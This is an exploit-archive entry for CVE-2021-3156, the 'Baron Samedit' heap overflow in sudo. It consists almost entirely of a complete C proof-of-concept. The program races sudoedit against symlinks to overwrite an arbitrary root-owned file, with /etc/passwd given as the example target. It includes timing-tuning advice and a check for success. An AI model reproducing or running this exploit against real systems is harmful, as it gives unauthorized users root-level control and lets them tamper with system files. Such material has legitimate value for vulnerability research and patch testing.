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# Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (2) # Authors and Contributors: cts, help from r4j, debug by nu11secur1ty # Date: 30.01.2021 # Vendor: https://www.sudo.ws/ # Link: https://www.sudo.ws/download.html # CVE: CVE-2021-3156 [+] Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156/1.30.2021 [Exploit Program Code] // Exploit by @gf_256 aka cts // With help from r4j // Debug by @nu11secur1ty // Original advisory by Baron Samedit of Qualys // Tested on Ubuntu 18.04 and 20.04 & 20.04.01 // You will probably need to adjust RACE_SLEEP_TIME. #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdlib.h> #include <assert.h> #include <unistd.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/resource.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> #include <pwd.h> // !!! best value of this varies from system-to-system !!! // !!! you will probably need to tune this !!! #define RACE_SLEEP_TIME 10000 char *target_file; char *src_file; size_t query_target_size() { struct stat st; stat(target_file, &st); return st.st_size; } char* read_src_contents() { FILE* f = fopen(src_file, "rb"); if (!f) { puts("oh no baby what are you doing :("); abort(); } fseek(f, 0, SEEK_END); long fsize = ftell(f); fseek(f, 0, SEEK_SET); char *content = malloc(fsize + 1); fread(content, 1, fsize, f); fclose(f); return content; } char* get_my_username() { // getlogin can return incorrect result (for example, root under su)! struct passwd *pws = getpwuid(getuid()); return strdup(pws->pw_name); } int main(int my_argc, char **my_argv) { puts("CVE-2021-3156 PoC by @gf_256"); puts("original advisory by Baron Samedit"); if (my_argc != 3) { puts("./meme <target file> <src file>"); puts("Example: ./meme /etc/passwd my_fake_passwd_file"); return 1; } target_file = my_argv[1]; src_file = my_argv[2]; printf("we will overwrite %s with stuff from %s\n", target_file, src_file); char* myusername = get_my_username(); printf("hi, my name is %s\n", myusername); size_t initial_size = query_target_size(); printf("%s is %zi big right now\n", target_file, initial_size); char* stuff_to_write = read_src_contents(); char memedir[1000]; char my_symlink[1000]; char overflow[1000]; char* bigstuff = calloc(1,0x10000); memset(bigstuff, 'A', 0xffff); // need a big shit in the stack so the write doesn't fail with bad address char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\", overflow, NULL }; char *envp[] = { "\n\n\n\n\n", // put some newlines here to separate our real contents from the junk stuff_to_write, "SUDO_ASKPASS=/bin/false", "LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ", bigstuff, NULL }; puts("ok podracing time bitches"); // Boom =) // for (int i = 0; i < 5000; i++) for (int i = 0; i < 3000; i++) { sprintf(memedir, "ayylmaobigchungussssssssssss00000000000000000000000000%08d", i); sprintf(overflow, "11111111111111111111111111111111111111111111111111111111%s", memedir); sprintf(my_symlink, "%s/%s", memedir, myusername); puts(memedir); if (access(memedir, F_OK) == 0) { printf("dude, %s already exists, do it from a clean working dir\n", memedir); return 1; } pid_t childpid = fork(); if (childpid) { // parent usleep(RACE_SLEEP_TIME); mkdir(memedir, 0700); symlink(target_file, my_symlink); waitpid(childpid, 0, 0); } else { // child setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race reliability execve("/usr/bin/sudoedit", argv, envp); // noreturn puts("execve fails?!"); abort(); } if (query_target_size() != initial_size) { puts("target file has a BRUH MOMENT!!!! SUCCess???"); system("xdg-open 'https://www.youtube.com/watch?v=cj_8X1cyVFc'"); // ayy lmao return 0; } } puts("Failed?"); puts("if all the meme dirs are owned by root, the usleep needs to be decreased."); puts("if they're all owned by you, the usleep needs to be increased"); return 0; } |
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